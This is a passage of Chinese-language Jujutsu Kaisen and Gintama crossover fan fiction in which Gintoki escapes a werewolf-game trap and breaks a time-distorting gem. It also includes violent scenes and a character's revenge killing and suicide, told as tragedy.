这点挣扎在伏黑甚尔眼里就是小打小闹，他无视周围令人厌恶的目光，朝着来时的路走去。
路过黑泽法子的身前，他忍不住冷笑一声：“希望你知道自己在做什么。”
黑泽法子低头看着自己的脚，面色发白，紧抿着嘴唇，插在口袋里的手，下意识用力揉搓着里面的纸片。
从开始到结束，没有再发出一声声响。
庭院中的屏幕再次变换，显示出这次投票的结果。
【恭喜各位，成功抓到一个狼人。】
欢呼声再次响起，部分人心中的最后一丝愧疚心，也随着结果的公布而消失。
志村新八震惊：“怎么会，难道银桑真的是... ...”
“这已经不重要了。”伏黑甚尔看透一切，“不管他是不是，最后的结果只会有一个。”
神乐的脸色更加难看起来，明白伏黑甚尔话中的意思。
这里就是给坂田银时下的一个圈套。
闹剧结束，大家四散开来，做起自己的事情，尽管对于未来还存有担忧，但是一想到五条悟已死，心头多年的心腹大患去除，就忍不住大笑。
庭院中的气氛，竟然难得和谐起来。
黑泽法子低垂着头，想要从边缘经过，将自己锁在屋中，但没走几步，就被一人拦下。
那人上下打量了一下她，表情轻蔑：“跟我来。”
随着那人拐过几个弯角，最终来到了一间毫不起眼的房间，在那人的示意下，黑泽法子走了进去。
一台老式电视机，被摆放在房间中央，在感应到黑泽法子的到来之后，闪起一阵雪花屏。
没过多久，图像清晰起来，屏幕里，一个面容阴柔的男子，坐在真皮沙发上，他正在饶有兴致地看着手上的文件。
黑泽法子忍不住朝他的额头看了眼，上面有一道狰狞的缝合线。
“黑泽法子。”男人从文件中抬起头，“事情进行的顺利吗？”
“… …一切都在按照您的指示进行。”
49.第四十九章
对面的男人，也就是羂索，对于黑泽法子的话，既没有肯定，也没有否定。
他扬起温柔的一笑，开始说起一些看似关心的话语：“你在那里肯定很害怕吧？没有力量，还背叛了同伴，现在的你，恐怕已经没有人会愿意和你合作了。”
黑泽法子沉默不语，交叉相握的双手微微颤抖。
“你应该很清楚，现在，除了我，你没有任何人可以依靠。”
领黑泽法子来的人向前一步，衣袖下露出一节匕首。
屏幕里，羂索还在轻声细语：“那你为什么，还要违背我的指令呢？”
黑泽法子浑身抖动得更加激烈，她紧抿的嘴唇里忍不住发出了几声害怕的呜咽。
对死亡的恐惧让她努力转动着头脑：“对，对不起大人，但是神乐还小，我实在是下不去手，反正您的目标是五条，我觉得早动手就可以早点消除隐患。”
她低垂的眼眸死死地盯着在自己面前的人，还有他袖口露出的那一抹银光。
冷汗顺着额头，随着泪水一起滑落进嘴中，咸涩又泛着苦味。
羂索看着自己的手下越来越靠近黑泽法子，欣赏着对方因死亡靠近而抖动得越发剧烈的反应，最后慢悠悠地开口：“这样啊，真是可惜，我还想看他为了护住自己重要的人，会怎么做呢。你说，他到底会默不作声，还是挑个替罪羊泼脏水？”
近在咫尺的匕首已经出鞘，让黑泽法子无心思考这个问题。
羂索无趣地挪开眼，看着屏幕外那庭院的方向：“应该会和现在这样，选择牺牲自己吧。你说是吗？”
“... ...嗯，毕竟他是个好人。”
“好人。”羂索喉咙里发出几声短促的笑声，“所以，这就是你愿意冒着被我发现的危险，也要帮助他的原因吗？”
黑泽法子猛地抬头，瞪大了双眼，余光里闪过的银光让她本能地后退了一步。
“我，我不知道... ...”
在羂索眼神的示意下，拿着匕首的人，从背后掏出一捆绳子，扔在地面上。
那正是用来吊死坂田银时的绳索，但是在绳子的另一端，出现了不算规整的断口。
证据被丢在自己的面前，黑泽法子的脸色更加灰白起来。
这是她还没来得及回收的证据，也是她计划的漏洞。
原本她准备偷偷趁大家不注意的时候，再次溜回去，把这绳子直接扔到悬崖之下的，但没想到羂索的动作比她还要快。
但是她明明有观察过，参与拍卖会的所有人都是一起回来的，为什么对方还有时间提前去回收绳子。
原因是什么已经不重要了，就算画质不清晰，她也能看清对方眼中那浓浓的恶意。
“我很遗憾，黑泽小姐，你的行为，将又一次伤害到你的母亲。”
绝望、后悔、无助，一切负面的情绪在刹那涌上她的心头，不受控制四散在空中的咒力汇集、聚合，很快就形成了一只四级咒灵。
丑陋而弱小的咒灵，出现后仅存在了数秒，便被这片空间的规则撕裂成碎片。
如同此时黑泽法子不远的未来。
她看不到那只因她诞生又消亡的咒灵，害怕的情绪让她本能地加快呼吸，周围的一切都被无视，只能看到面前那把举向自己的匕首。
“叩叩。”
背后传来的敲门声，打断了室内越发紧张的氛围。
接着，便响起了伏黑甚尔的声音：“喂，出来，吃饭。”
那个曾经让她感到恐惧的杀手，此刻竟然成为了拯救她的唯一希望。
羂索感到有些意外地皱了皱眉，在他的印象中，伏黑甚尔不像是会多管闲事的人。
但这个人在后面还有用，此刻不是和他产生冲突的好时机。
快速思考完利弊之后，他再次给手下一个眼神，让他把匕首收起来。
最后转头警告了声黑泽法子：“希望你不要忘记你母亲的安危。”
说完，便果断掐断通信，让电视屏幕重新恢复一片雪花屏。
-----
溪水流过，发出悦耳的清脆声音，隐隐约约间，掺杂着些许鸟鸣。
在意识到自己听到声音之后，紧接着便是触感和嗅觉。
硌在脸上，让人发疼的石子，鼻尖环绕着的，泥土的潮湿味。
而这感觉到的一切，组成了生命。
坂田银时猛然睁开双眼，坐起身，双手从脸摸到身体。
没有一丝受伤的地方。
之前被处决的画面，仿佛就像是一场荒诞的噩梦。
但当他抬起头，在迷雾中若隐若现的悬崖，告诉他此为现实。
听着耳边属于大自然的低语，坂田银时渐渐冷静下来，大脑中的意识从无边的虚无回归到眼前。
重新整理思路，再仔细回想这段经历，不难发现其中有很多的不解之处。
远的不说，就眼前这悬崖的距离，就十分的不对劲。
他确实是从上面跌下来的，但是就自己掉落的体感时间来看，远远不止现在目测的高度。
这点高度就算是四级咒术师，在咒力的保护下，也就摔断个腿而已，对他来说根本构成不了什么威胁。
幕后的敌人费尽心机布了这么个局，不可能只是为了小打小闹。
还有黑泽法子的突然跳反。
虽说一开始他就知道对方有自己的目的，但是是什么让她放弃求助自己，转而要和不知底细的幕后敌人合作呢？
又是什么时候开始的合作？
还是说，从一开始的绑架事件开始，就已经是引他们入局的饵了？
越想脑子里的疑问不仅没有减少，反而越来越多，与其在这自己瞎猜，坂田银时更喜欢偷摸回去，直接当面询问本人。
就在他思考着是不是要表演个徒手攀岩的时候，耳边传来了那种信号不良的收音机，会发出的“滋滋”声。
【... ...还是不能... ...情况... ...不对，有信号... ...】
虽然断断续续，但是坂田银时还是能听出，那正是哥布林大叔的声音。
断联几天的系统，开始出现恢复信号的迹象了。
“喂喂喂，听得到吗？”
坂田银时立马回应，但是对面传来的确实一阵忙音。
他站了起来，按捺下激动的心情，在原地转了几圈想了想，觉得应该是拍卖会那边有什么屏蔽了信号的东西，而悬崖的底部正好超出了屏蔽范围，所以才让信号恢复了一点。
想明白这些，他连忙朝着拍卖会的反方向走去。
顾忌着迷雾的腐蚀性，他也没敢走太远，但好在信号的反馈很及时，没走几步好了很多。
又等了一会，透过系统的传递，这几天第一次在另一端响起清晰的话语。
【听得到吗？这么多天你信号终于亮了。】
坂田银时心里松了口气：“这里的信号好像被什么东西屏蔽掉了，我一直联系不上你们。”
【这么简单就着了道，看来警惕性还是不够高啊这位市民。】土方十四郎那熟悉的声音透过系统传过来，让坂田银时莫名有种恍如隔世的感觉。
他笑了声：“那还不是某些税金小偷不做事，给市民的普法力度不够高。”
【就算开着警车天天到楼下喊喇叭，也拦不住脑子一根筋，还格外心大的人。】土方十四郎吐了口烟，顺带吐出了积攒多日的担忧，【所以你那边情况如何？地点还记得在哪吗？我去找你。】
坂田银时想了想，最终还是拒绝了：“这边我能搞定，把那什么屏蔽信号的东西破坏掉，多半事情就解决了一半，你的话，有个地方，我希望你能去一下。”
【既然你都考虑好了，那就说说吧，你的计划。】
两边简短地交流了下情报，便准备兵分两路开始行动。
虽然信号会被屏蔽，但是系统也不是没有其他的辅助办法。
为了完成任务的哥布林大叔，犹豫再
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三还是忍痛下了血本，给坂田银时的系统里安装了一个离线包。
来帮助坂田银时定位信号屏蔽的源头，以及附带了一个小ai的离线版本。
被坂田银时无情吐槽：“不要借着装搜查定位的名义，在他的脑子里塞垃圾。”
没有多逗留，商量好之后，坂田银时打开离线包，朝着拍卖会的方向再次迈步。
这次他的脚步中，再也没有了迷茫。
他没有急着回拍卖会，而是先顺着悬崖底部走了一圈。
随处可见的迷雾让可见的范围变小，对搜查造成了一些阻碍，光是悬崖底部的搜索，就耗费了不少时间。
但好在不是没有收获，在走到一处山体下，离线的系统突然响起警铃，这说明他要找的屏蔽源头就在附近。
然而左右都是一片平地，怎么看也不像是安放了设置的地方。
那么只有可能是在山体内部。
长时间被迷雾环绕的山体表面，被空气中的水汽所湿润，徒手攀岩很容易打滑。
但身为拥有术式的咒术师，就要将术式的使用发挥到极致。
坂田银时在手掌处开始无下限，仗着物体与自己被无限隔离开，用力将手指戳进山体，一步一个坑的朝着上方攀登。
虽然他也很想帅气地飞起来，但是对于无下限术式的不成熟掌握，让他还没有信心，来保证自己不会从空中跌落成肉泥。
在无人关注的角落，他一个人趴在山上，手脚并用，却又即为迅速地往上前进着。
爬到半山腰，一股不正常的气流吹到他的脸上，再抬头一看，竟然是一个山洞。
眼看着目的地接近，他加快了爬行的速度，意外的没有任何阻拦，轻松进入了这个地方。
山洞内像是吸收了周围所有的光亮，漆黑一片，看不清脚下的路。
坂田银时从口袋里掏了掏，拿出一个屏幕碎裂的手机。
不过他的运气不错，尽管看起来已经破破烂烂，但是手机还是能照常使用。
他调出手电筒模式，在微弱的光亮中，朝着深处慢慢走去。
不知道走了多久，随着越来越深入，周围的空气中开始混杂着零星的咒力。
六眼像是陷入河水中的干海绵，比以往更加迫切地汲取着周围的一切信息。
坂田银时站在原地，闭上眼睛，调动全部的大脑，开始专心处理这些杂乱的信息，并且从中提取对自己有用的部分。
就这么过了一会，他睁开眼，转头看向一处。
那里设置了一个精巧的结界，可以极大地让人忽视它的存在，但是再怎么精巧，也逃不了六眼的观察。
他随手破坏了结界，也不担心幕后的那人找上门，毕竟现在应该是对方担心会遇上自己。
结界之后是一个小型的帐，用力挥拳打去，周围纹丝不动。
虽然不知道对方使用了什么作为加固帐的条件，但再怎么牢固的帐，在绝对的力量面前都无济于事。
坂田银时后退几步，直接起手一个全开的苍，将帐连同周围的山体一起轰塌。
灰尘散去，露出藏匿其中的一个房间。
房间的正中央，一颗格外眼熟的红色宝石镶嵌在一众精密的仪器中，在黑暗中发出耀眼的红光。
这竟然是丢失宝石的其中一颗，而且看起来，对方在这段时间，不光掌握了得到的知识，还利用它创造出了更多的技术产物。
情况显然进入了预想中最坏的一档中。
坂田银时将全身附上无下限术式，向前伸手，一阵骇人的电流在不算大的空间内劈啪作响。
他丝毫不受影响，轻松地用手指捏住璀璨的宝石。
“这场闹剧，也该结束了。”
随着他的用力，脆弱的宝石在最后发出一道红光后碎裂。
轰隆的机械声，在失去核心之后，也慢慢停止了运转。
潜藏在迷雾深处的瞬间睁开无数张眼睛，虎视眈眈地望着拍卖会的众人。
50.第五十章
满脸冷汗的黑泽法子，拖着发软的双腿，回到自己的房间中。
她将门锁上，背靠着门板失力地滑落在地，抱着自己的双腿，忍不住失声痛哭。
她和恶魔做了一笔交易。
一切都是从被绑架之后，回到家里开始变化的。
保护她的五条翔一突然毫无征兆的陷入昏睡，而紧接着眼前出现的，就是那个额头带着缝合线的男人。
“我知道你的过去。”
“想要复仇吗？”
“想斩断以前的痛苦吗？”
“想和母亲一起正大光明地站在阳光下吗？”
对方将她的过往掌握得很清楚，也知道她最想要得到什么。仅仅三言两语，她的内心就已经被动摇了。
过去在她身上刻下的阴霾太过沉重，让她做梦也想要摆脱，所以一向习惯于蜷缩在黑暗里的她同意了。
就算是飞蛾扑火，她也要在生命的最后发光一次。
坐在地下发泄了一会情绪，黑泽法子抹了把眼泪，重新振作了起来。
夜幕如期而至，所有人在见识到这片空间的厉害之后，更加遵从其定下的规则，准时躺在床上。
偌大的建筑被迷雾包围，月光穿过厚厚的迷雾，在地上投下若隐若现的光亮。
无人的空地中，雾气无风自动，从里面传出此起彼伏的低吼声。
黑泽法子躺在自己的床上辗转反侧。
以往到点就强制睡眠的规则，在此时却不奏效。
她皱了皱眉，内心有些焦急，担心如果没有在规定时间入睡，会受到未知的惩罚。
今天白天发生的事情太多，情绪大幅度的波动，让她的精神十分困倦，但是只要一闭上眼，她的眼前就会浮现出坂田银时的笑脸，以及躺在病床上的母亲。
就在她忍不住开始胡思乱想的时候，脸上突兀地感受到了一股热气，鼻息间闻到一股泛着腥味的恶臭。
就像是什么生物，正在扒着她的床头，将脸凑近她的头颅。
意识到这一点，黑泽法子瞬间冒出冷汗，被子下的双手牢牢抓住被单。
是因为自己没有在规定时间内睡着吗？还是说今晚狼人选择杀的目标是自己？
她知道，羂索在狼人中安插了自己人，第一晚神乐说其他狼人一致同意不杀人，但第二天依然发现了死者，就是这个人所为。
今天白天有伏黑甚尔帮自己暂时躲了过去，但到了晚上，谁也没办法帮她了。
她渐渐松开双手，卸下了浑身的力气。
算了，这样也好，反正她本就是不应该诞生在这个世界上的存在。
她紧闭双眼，准备安静地迎接属于自己的死亡。
“法子！”
随着一声巨响，黑泽法子房间的门整块飞出，用力地砸在窗户上，碎裂了一地的玻璃。
门口，神乐喘着粗气，将手里的伞对准黑泽法子的床边，精准地扫射了一圈。
房间内响起犬科动物受伤时发出的哀鸣，然后声音越来越弱，直到消失。
“快点起来！出事了阿鲁！”
黑泽法子连忙坐起身，眼睛不敢瞥向床边，从另一边下床，茫然地跟着神乐，朝着外面跑了起来。
“到底发生了什么？刚刚那个不是今晚的狼人来杀人吗？”
“刚刚如果是狼人的话，那为了这个荒唐的游戏，狼人还真是牺牲了好多。”神乐头上的志村新八蹦起，在空中朝着黑泽法子掉了个方向，再精准落了回去，“如果还在狼人杀中的话，我们这些平民是不可能醒过来的，而且不知道你们有没有发现，这里的雾，好像开始散了。”
走廊的感应灯随着他们的靠近，一盏一盏的亮起，被照亮的四周能见度还是十分有限，但确实更加清晰了。
黑泽法子还能看到，在这尚未完全散去的迷雾中，隐藏着许多和刚刚那只体型差不多的狼。
她内心忍不住泛起喜悦：“也就是说，因为什么原因，让这里的规则开始崩塌了。”
“没错阿鲁，这些野狼可能是想在最后做个挣扎… …虽然我对你伤害了银酱的事情很生气很生气，但是现在事关性命，出去之后再找你算账，你不要离我太远阿鲁。”
“… …难道说，他成功了？”
这声低喃没有引起在场人的注意，他们闯进一间间房间中，叫醒尚在睡梦中的人。
随着苏醒的人越来越多，夜晚中开始充斥着尖叫、怒骂。
但比起无形的未知，眼前的野狼显然没有那么可怕。
大家或抡椅子，或挥舞着餐刀，渐渐聚集在一起，警惕着围过来的狼群。
神乐站在最前面，一伞捣飞几只野狼，成为众人最安心的护盾。
“那个大胸刀疤男呢？怎么一到关键时候就玩失踪阿鲁！”
“小心左边！”志村新八占着良好的视野，帮忙注意着从角落偷袭的野狼，“不知道啊，我看他好像是发现了什么，朝我们的另一边走了。”
野狼的战斗力在宇宙最强的战斗民族——夜兔面前，就只是个饭前的开胃小菜，但架不住数量实在是太多，就算一秒钟能击倒十只，也拦不住它们从别的地方闯进来。
神乐感觉自己就像是老鹰捉小鸡里的老母鸡，再怎么护住小鸡仔，总会有那么几个掉队，暴露在敌人的视线下。
随着战斗的时间拉长，神乐越发感到有些力不从心。
偏偏在这个时候，人群末尾传来尖叫。
有一小批狼群眼看正面没办法突破，于是从外围绕路，翻过围墙，直接突袭无人保护的后方。
神乐心里暗叹糟糕，知道自己赶不过去，在刹那的思考后，她对准离人近在咫尺的野狼，用力投出手里的伞，将其定在了墙面上。
失去武器的她，也遭到了狼群更为凶猛的反扑。
场面一下子失控起来。
不少人眼看神乐没办法保护住他们，慌乱之下竟然想着跑出去。
这无异于自寻死路的行为让神乐焦急起来，她一边挥舞拳头击倒野狼，一边大喊着“不要乱跑”。
但恐惧中的人失去了理智，根本不会听神乐的话，当一个人跑出去的时候，众人心里原本紧绷的口子被打开，抱团的人不再团结，不少人效仿着一起跑出。
先跑出的人被饥饿的狼群扑倒、啃食，惨叫声此起彼伏，后面的人没有被这骇人的画面吓住，反而趁着野狼进食的时机，踩着前面人的尸骨，朝着更远处跑去。
血腥味弥漫在空中，更加激发了狼群的野性。
黑泽法子站在原地，想要拦住这些人，却无济于事，只能扯着嗓子喊，希望能多少唤回点众人的理智。
就在这事态陷入混乱，无法控制的时候，地面传来一阵震动。
起初不是很明显，众人也没有察觉，但慢慢的，震动越发强烈起来，到最后甚至有人站不稳跌倒在地。
就像是什么东西，快要从地底里钻出。
裂开的地缝中，首先冒出一道道蓝色
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的光芒，接着这道光越来越大，所到之处立刻吞噬掉了狼群中的一部分，最后冲上云霄，撕裂混沌的迷雾，照亮这弥漫着血色的黑夜。
以极为强势的姿态，引起所有人的注意。
在那宛如天灾的力量面前，群狼本能地感受到了危险，它们浑身炸毛，趴伏在地上低垂着尾巴，嘴里的低吼也收了回去。
光芒散去，一个人影停滞在空中，那双苍蓝的眼眸无悲无喜地俯视着地面。
全场在刹那陷入了安静中，为这不凡的力量，也为这死而复生的人。
“银酱！”
神乐率先反应过来，她三两脚清理掉围在自己周围的野狼，朝着空中的坂田银时用力挥舞着双臂。
“干得不错。”坂田银时轻轻落下，摸了摸神乐的发顶，“接下来就交给大人吧。”
他扫视了一眼四散的人群：“不想死的，就给我老老实实呆在这。”
强大在此刻不再碍眼，他们都知道性格善良的六眼，至少不会在这个时候找他们秋后算账，于是放下心来，老老实实地缩回了原地。
用六眼扫视了周围，坂田银时确定没有发现其他落单的活人，便再次张开手掌，用苍绕着周围扫荡一圈。
灰尘和碎石在空中翻飞，等到再次落到地面，眼前原本乌泱泱的狼群，已经被尽数清理干净。
面前只剩下一片光秃秃的泥地。
见识到强大力量的众人更加安静，一个个像是鹌鹑一样缩着脖子，目视地面，生怕一个眼神对上，引起坂田银时的注意。
“银酱这招好厉害！”神乐小跑上前，学着刚刚坂田银时的动作挥了几下，“这是什么？那个什么龟派气功吗？”
“很明显不是吧？‘卡美哈美哈！’这种招式名都没喊出来呢。”
“一把年纪了，怎么还会做这种喊招式名的中二行为，唉，所以说你只能是新吧唧阿鲁。”
坂田银时笑着看了会神乐和志村新八的吵闹，然后拍了下手，让两人停了下来：“没错，就是新·龟派气功·银时特别式，我新创的哦。”
然后成功获得两个同款嫌弃的表情。
坂田银时咳嗽了几声，转移话题道：“我现在还有事，神乐，新八，你们能先看着这群人吗？”
听到坂田银时又要离开，神乐和志村新八瞬间安静下来，他们一起抬头，看着面前这既陌生又熟悉的人。
神乐抬头轻喃，眼里是坂田银时不常见到的不安：“你不会突然消失不见的，对吧？”
早在拍卖会开始之前的几天，神乐和志村新八就来到了这里。
在他们的记忆里，自己上一秒还在万事屋无所事事，下一秒一睁开眼，就发现已经来到了一个全然陌生的地方，拥有了一个陌生的身份。
一开始他们还只是好奇，和往常一样在这块未知的土地上撒欢，直到他们发现，身边的坂田银时突然陌生了起来。
就像是一个陌生人披上了最熟悉的人的外皮，习以为常地喊着他们的名字，和他们打闹。
他们这才察觉到事情的不对劲。
但不管他们怎么尝试，都不能走出这块为拍卖会而准备的场地。
他们被困在了这里。
就在他们想要破局却苦于不知从何下手的时候，一个人出现了，尽管面容身形陌生，但那灵魂的光辉，他们不会认错。
听到神乐的询问，坂田银时没有说话，他低垂了眼眸，掩去眼中的神情，最后沉默着摸了摸神乐的头顶。
51.第五十一章
微风吹拂着变空荡的庭院，让遮蔽视线的雾气又散开了些许。
众人没有喘息多久，迷雾的深处再次传来低吼。
好在周围没有可以躲藏的建筑，一眼就能看到狼群袭击的方向，不用担心被再次偷袭。
但这也不是长久之计，坂田银时也不能一直在这里，他还想在最后找到敌人的蛛丝马迹。
神乐捡起自己的伞，架在自己身前：“不用担心银酱，这里我们没问题的阿鲁。”
“没错，而且你也能早点解决幕后主使，让事情结束。”
坂田银时看了眼眼神坚定的两人，点了点头：“主人公可不会被小喽啰干掉，让我们在万事屋再会。”
“喔！”
看着坂田银时要离开，原本安静的众人失去了安全感，开始吵闹起来。
“喂喂喂。”神乐转身，把伞指向他们，“有我歌舞伎町女王在此，你们还觉得不够安全吗？真是群没眼光的家伙阿鲁。”
黑泽法子看了眼默不作声的众人，第一个站了起来，手里拿着把从房间里顺走的餐刀：“怎么可以让一个比我小的小女孩独自战斗，而自己却躲在一旁。小神乐，我也来帮忙。”
“黑泽小姐？”
志村新八有些意外对方会站起来，毕竟这段时间相处下来，他看得出来对方不是那种胆大到能对敌的性格。
但想到刚刚看到毫发无损的坂田银时，他也猜到了对方之前的行为，其实是在帮他们，心里多少清楚了自己可能对对方的性格有些误会，于是摒弃前嫌，用力点头：“嗯！让我们一起加油吧！”
“听到了吗？想要活着出去，就要一起努力阿鲁。”
众人互相对视，最终为了活命，选择了妥协，纷纷从自己衣服里掏出价格不菲的各类防身咒具。
没有咒具的也随手从边上拿起一截钢管。
很快，这个任人宰割的队伍就全副武装了起来。
神乐伸展了下身体，转身对着汹涌的狼群摆好架势，扬起自信地笑容，迈步冲了上去。
将背后放心地托付给神乐和志村新八，坂田银时踩着屋顶，穿梭在拍卖会各个地方搜寻着敌方的踪迹，顺便解决掉一路上看到的狼群，给神乐他们减少点压力。
他全力调动着身上的力量，眼睛像是扫描仪一样扫过，一个角落也不放过。
突然来自转角的一击让他猛地刹住车，本能地一拳挥了过去。
随后瞬间反应了过来，能够在不被他观测下偷袭的，也只会有那一个人。
伏黑甚尔轻松接住这一拳：“作为亡灵来说，你返回人间的速度是不是太快了点？”
“运气好，遇到个好心的天使大姐姐，直接给我遣送回来了。不过，某个运气差的家伙，估计想象不出来吧？”
此时雾气已经散得快要差不多了，那些寄生在迷雾，又隐藏于其中的野狼，也随着迷雾开始大幅度消失。
这让坂田银时有了时间，能和伏黑甚尔好好交流下各自的发现。
他低头看向伏黑甚尔脚边，那里躺着一个被揍得鼻青脸肿的人：“这个人是什么情况？”
“白天的时候，我注意到这个人和黑泽法子有过交流，觉得他不对劲，就抓住他稍微‘咨询’了下他一些事情。啧，可惜这人嘴太硬。”
伏黑甚尔拽着那人的领口，向上一提，窒息感让原本陷入短暂昏迷的人本能地清醒过来。
一睁开眼，就看到死神边上还多了个煞神，下意识用力挣扎起来。
坂田银时心下了然，知道伏黑甚尔没有和神乐他们在一起，是因为在第一时间去调查了：“怎么样？有什么发现？”
“那人很狡猾，清理得很干净，除了这个漏网之鱼。”
对于这个结果，两人虽然有些不爽，但因为事先有所预料，所以并不是很气馁，反而意外于还能抓到一个敌人的手下。
“哟，银桑我一向是很仁慈的，只要你老老实实说出你上司是谁，我就让你全手全脚的见警察叔叔。都是拿死工资的打工人，没必要替上司兜底，是吧？”
在惊慌过后，训练有素的那人冷静下来，停止了挣扎。
他对于坂田银时的话不为所动，之所以羂索放心将他留下来，就是因为这个人本身就是一个不会吐露秘密的死士。
那人不光没有害怕，反而转过来放狠话：“呵，就算你们再厉害又能怎么样？你救得了黑泽，救得了她最重要的人吗？因为你掀翻棋桌而害死她最重要的人，你猜猜看，以后她会不会怨恨你。”
“最重要的人？”
坂田银时抓着自己下巴，歪着头装作思考的样子：“你是说那个她躺在病房里的母亲？”
“没错！就算是你，也不能立马赶到医院吧？”
这时，一阵强劲的电子音乐响起，如果是爱玩游戏的人在这里，应该能立马认出，这是某个知名打击律师游戏里主角的同款手机铃声。
可惜现场的另外两个人，一个只喜欢赌马，一个没有生活，只觉得这铃声吵闹。
在破坏了导致时空错乱的宝石之后，这块地方正慢慢回归到原本所处的时空。
所以不管是他们世界的咒力体系，还是通信的信号，都在慢慢恢复，也让他们终于能够和外界联系。
掏出手机，看清来电人之后，坂田银时咧嘴笑了笑：“正好，这应该是你关心的事情，也给你听听。”
说完接通电话的同时，点开了免提。
电话那头传来夏油杰的声音，配合上土方十四郎习惯性压低的声线，只是听着声音就能感觉到靠谱。
“你猜的没错，这里确实来了几伙人，不过应该是没料到我会来，实力都不太行，现在被我敲晕了捆在一起。”
坂田银时从通话开始，就一直观察着被抓的那人，看着对方因为通话内容，脸色越来越差，得意地挑了挑眉。
对面说明完自己这边的情报，在短暂的杂音过后，手机被移交到了另一个人手上，接着响起了家入硝子的声音：“啊，对了。你连续几天旷课，夜蛾老师很生气哦，你要不要提前准备好检讨书？”
“... ...”
坂田银时面无表情地挂断电话，无视一边伏黑甚尔的嘲笑，恶狠狠地瞪向敌人：“你现在知道了吧？你的威胁根本没有用，快点老老实实说幕后指使是谁！不然我罚你给我写检讨，一万字起步的那种！”
“... ...这什么检讨？确定不是在写小说？”
没上过学的伏黑甚尔表示大为震撼。
“就凭你们？”
那人满脸不屑，很快便感受到了埋藏在自己体内的术法开始运转。
知道自己死期将至，而面前拷问自己的俩人将会一无所获，他痛快极了，喉咙里漏出了几声低笑，接着那声音越来越大，到最后，甚至可以说是在歇斯底里地狂笑着。
坂田银时和伏黑甚尔还没搞清楚事情发生了什么，只见那人长大着嘴，从里面不断涌出鲜血，顷刻间便浸湿了衣服。
接着是眼睛、耳朵。
眨眼间的功夫，一个人就这样失去了生命，
伏黑甚尔咂咂嘴：“这幕后的那人，做事还真是一点都不留尾巴。”
查看完土方十四郎刚刚发来的短信，坂田银时合上手机，有些不爽：“那边也是同样的情况，所有敌方派来的人无一生还。简直就像是故意让我们以为抓到了把柄，再当着我们面毁给我们看一样。”
“被耍得团团转啊。”伏黑甚尔眯了眯眼睛，“这口气，我可不会咽下。”
“那你应该先去找那个给你邀请函的人算个账，顺便好好调查调查自己身边是不是安插了对方的棋子。”
伏黑甚尔冷哼一声，一个翻身就跳到了屋顶：“还是先担心担心你自己吧，找个好点的理由，想想怎么把那群位高权重的人糊弄过去。”
丢下所有的后续处理工作，几个闪身过后，夜色下已经不见了伏黑甚尔的身影。
虽然坂田银时一向不喜欢处理这些后续的琐事，但也知道伏黑甚尔因为那诅咒师的身份，不能留下来被咒术界其他人发现。
尤其是不久前他们才上演过一场分道扬镳的戏码，将各自的秘密重新隐于暗中。
而且，他还有一场告别没有完成。
等到他匆匆赶回去，自己制造的人工空地上叽叽喳喳异常热闹。
大家感受到危机解除，信号恢复，立马开始用手机联系外界的人。
这个莫名其妙的地方，他们也是一刻也不想多待了。
“银酱！大事不好了！”
神乐带着志村新八小跑了过来，先是上下打量了一下坂田银时，没发现对方有受伤的迹象，安心了下来。
然后继续开始飚着眼泪，伸出自己的双手：“银酱，你看！我变成半透明的阿鲁。”
“我也是！”志村新八发出尖锐爆鸣，“你看看我的镜腿！已经快没了！
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小神乐，我们不会其实是幽... ...”
“不不不！不要说那么吓人的话啊混蛋！”
被某个关键词触发到惊吓开关，坂田银时立马开口否认着某不科学的存在。
“那银桑知道这是什么情况吗？”
面对志村新八的询问，坂田银时沉默了。
当时在悬崖底下，和哥布林大叔取得联系之后，他询问过对方。
为什么他们世界的人会出现在这里，而且好像还是平行世界的人。
“一个小小的基石怎么可能会有那么大的力量。”哥布林大叔直接否认，“要是这个石头就能做到时空穿越的话，我们还需要用到造价昂贵的时空穿越机？”
他解释着：“只不过是平行世界特定人物的一个小小投影而已，你不要把他们当真。”
而此刻，面对神乐和志村新八的疑惑和不安，看着他们那熟悉到不行的脸庞，坂田银时实在是说不出“你们其实不是本人”这种话。
不管真相如何，对他来说，就算是小小的投影，也不忍心让他们伤心。
“银桑我什么不知道？”他低下头，掩去自己一瞬间的失态，再抬头时脸上扬着最灿烂的笑容，“这个迹象就好比是梦快要醒了一样，意味着我们要回万事屋了。”
“真的？！”
两个孩子对于他的话深信不疑，兴奋地讨论着，要把这次的经历画下来，投稿到《JUMP》里，甚至开始做成为顶流漫画家的梦。
全程坂田银时都没有插话，只是笑着看着俩人的身影越来越淡，越来越淡，最后消失。
耳边重新归于宁静，他抬头，看向只有一轮残月的夜空。
他们之间不适合告别，这样就好。
几秒后，他重新振作起来，扫视着现场的人，边观察着周围人的反应，边开始联系五条翔一。
他出现在拍卖会的事情，在总监部那边是瞒不住的，与其被动掩盖，不如提前和五条家通气，看看能不能利用御三家对着“总监部内部利用职务谋取私利”这一点来压一手。
就算不能捞到什么好处，至少也能有个调查幕后敌人的突破口。
快速联系完，他奇怪地发现，现场没有黑泽法子。
事情都已经结束，黑泽法子按理来说已经完成了此行的目的。
但现在的异常行动的原因，坂田银时唯一能想到的，就是对方一直隐瞒的真实目的，
他直觉中感到糟糕，放开六眼加大搜索力度，终于在一处建筑中发现了她的身影。
几次短距离瞬移，坂田银时争取用最快速度到达目的地，但可惜为时已晚。
房间内，黑泽法子手中拿着那把餐刀，而她面前，一个中年男人捂着被割开的喉咙躺在地上。
鲜血从破裂的血管涌出他的鼻腔，让他难以呼吸，只能徒劳地发出“嗬嗬”声。
坂田银时赶到的时候，男人已经是强弩之末，因为失血过多，连最后的挣扎也微弱无比。
“这就是，你来到这的真实目的？”
“我很害怕，五条先生。”黑泽法子眼里满是泪水，嘴角却是上扬的，“但是我的内心，从来没有像现在这样轻松过。”
“... ...去自首吧。”
黑泽法子摇了摇头：“对我的审判，早在十几年前，就应该降下了。”
当她跨出第一步，让自己的手上沾上鲜血之后，原本想象中不可能做到的事情也不再困难。
她看着手里的餐刀，在月光下泛起银光。
对此刻的她来说，那已经不再是死神的镰刀，而是来自天使救赎的光辉。
不再犹豫，她将那把沾着仇敌鲜血的刀，深深刺入自己的心脏。
之前报仇时飙升的肾上腺素，在此刻帮她挡住了大部分疼痛，让她能够毫不犹豫地从胸口将刀拔出。
坂田银时没有想到对方会这么做，他知道黑泽法子有多重视自己的母亲，又怎么会舍得抛下病重的母亲独自逝去。
所以当他意识到对方的动作时，已经慢了一步。
最终只能快步上前，抱住黑泽法子倒下的身躯。
黑泽法子睁着开始失焦的眼眸，只能看到漆黑一片的天花板，就如同儿时她抬头看到的天空。
不过这一次，她不用再担心醒来后会发生什么。
她闭上眼睛，神情放松。
终于可以睡个好觉了。
晚安，未来。
52.第五十二章
